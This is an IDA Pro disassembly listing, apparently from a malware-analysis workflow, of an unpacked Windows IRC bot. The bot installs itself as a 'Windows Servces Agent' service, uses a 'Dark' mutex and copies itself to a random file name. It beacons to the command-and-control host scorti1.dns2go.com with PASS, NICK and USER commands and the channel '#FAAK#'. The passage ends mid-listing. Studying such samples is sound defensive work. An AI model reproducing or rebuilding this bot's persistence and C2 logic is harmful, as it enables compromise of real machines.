; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 9BA608E93B4A7D4618B696375C52D7DE ; File Name : u:\work\9ba608e93b4a7d4618b696375c52d7de_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2670AE9h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2670000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi nop call near ptr 2660B41h test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 2690066h push eax nop call near ptr 2690000h cmp eax, 102h jnz short loc_4012A1 push 1 nop call near ptr 77E75CB5h loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2670AE9h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2680EE8h push eax nop call near ptr 2670000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2680DCBh cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2680C80h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2680925h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h call near ptr 2670ECAh nop lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2680C80h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 26808FBh push eax push esi push 100000h nop call near ptr 2680284h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2660B41h nop test eax, eax jz short loc_401516 push 0C8h nop call near ptr 2670ECAh push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx nop call near ptr 77E75CB5h loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690000h push esi nop call near ptr 26608E4h mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h nop call near ptr 2670ECAh mov eax, dword_4DB298 push dword ptr [eax+8] nop call near ptr 26801C1h loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2680925h push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 2680925h push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h call near ptr 2670ECAh nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j call near ptr 2670ECAh nop jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h call near ptr 2670ECAh nop loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2670ECAh jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr 